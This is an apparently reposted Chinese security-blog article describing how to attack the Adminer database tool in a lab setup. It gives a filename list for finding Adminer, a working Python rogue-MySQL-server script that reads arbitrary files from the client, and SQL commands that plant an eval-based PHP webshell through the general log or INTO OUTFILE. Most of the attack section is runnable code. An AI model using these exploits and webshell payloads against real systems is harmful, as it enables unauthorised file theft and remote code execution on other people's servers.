前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Adminer 简单的利用

Adminer 简单的利用

作者头像
Khan安全团队
发布2020-10-10 14:24:44
2.6K1
发布2020-10-10 14:24:44
举报
文章被收录于专栏:Khan安全团队Khan安全团队
  • 攻击机:192.168.1.101
  • 靶机:192.168.1.105

扫描目录

默认文件名:adminer.php

一些版本的文件名

代码语言:javascript
复制
adminer.php
sql.php
adminer-4.7.7.php
adminer-4.7.6.php
adminer-4.7.5.php
adminer-4.7.4.php
adminer-4.7.3.php
adminer-4.7.2.php
adminer-4.7.1.php
adminer-4.7.0.php
adminer-4.6.3.php
adminer-4.6.2.php
adminer-4.6.1.php
adminer-4.6.0.php
adminer-4.5.0.php
adminer-4.4.0.php
adminer-4.3.1.php
adminer-4.3.0.php
adminer-4.2.5.php
adminer-4.2.1.php
adminer-4.2.0.php
adminer-4.1.0.php
adminer-4.0.3.php
adminer-4.0.2.php
adminer-4.0.1.php
adminer-4.0.0.php
adminer-3.7.1.php
adminer-3.7.0.php
adminer-3.6.4.php
adminer-3.6.3.php
adminer-3.6.2.php
adminer-3.6.1.php
adminer-3.6.0.php
adminer-3.5.1.php
adminer-3.5.0.php
adminer-3.4.0.php
adminer-3.3.4.php
adminer-3.3.3.php
adminer-3.3.2.php
adminer-3.3.1.php
adminer-3.3.0.php
adminer-3.2.2.php
adminer-3.2.0.php
adminer-3.1.0.php
adminer-3.0.1.php
adminer-3.0.0.php

任意文件读取

利用一:

adminer低版本可以利用mysql服务端恶意读取客户端文件:https://xz.aliyun.com/t/8309

POC

代码语言:javascript
复制
#coding=utf-8
import socket
import logging
import sys
logging.basicConfig(level=logging.DEBUG)

filename=sys.argv[1]
sv=socket.socket()
sv.setsockopt(1,2,1)
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

随意登录,报错得到绝对路径

攻击机执行命令准备读取文件:

代码语言:javascript
复制
python poc.py "C:\phpstudy_pro\WWW\1.php"

输入服务器地址,账号密码随意,点击登录

成功读取到文件内容

利用二:

攻击机新建库和表,开启外连

代码语言:javascript
复制
create database adminer;

use adminer;

create table test(text text(4096));

访问靶机,输入攻击机的数据库信息

靶机需要 secure_file_priv 为空,为 null 导出不了

执行命令

代码语言:javascript
复制
load data local infile "C:\\phpstudy_pro\\WWW\\1.php" into table test FIELDS TERMINATED BY '\n';

查看表信息,成功读取到文件

getshell


通过日志getshell
代码语言:javascript
复制
show variables like '%general%';                #查看配置信息

set global general_log=on                       #开启general log模式

set global general_log_file='C:\\phpstudy_pro\\WWW\\shell.php';

select "<?php @eval($_POST['1']);?>";

连接 webshell

导出 getshell
代码语言:javascript
复制
select 0x3c3f70687020406576616c28245f504f53545b315d293b3f3e into outfile "C:\\phpstudy_pro\\WWW\\1.php";
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 扫描目录
  • 任意文件读取
    • 利用一:
      • 利用二:
        • getshell
          • 通过日志getshell
          • 导出 getshell
      相关产品与服务
      云数据库 MySQL
      腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档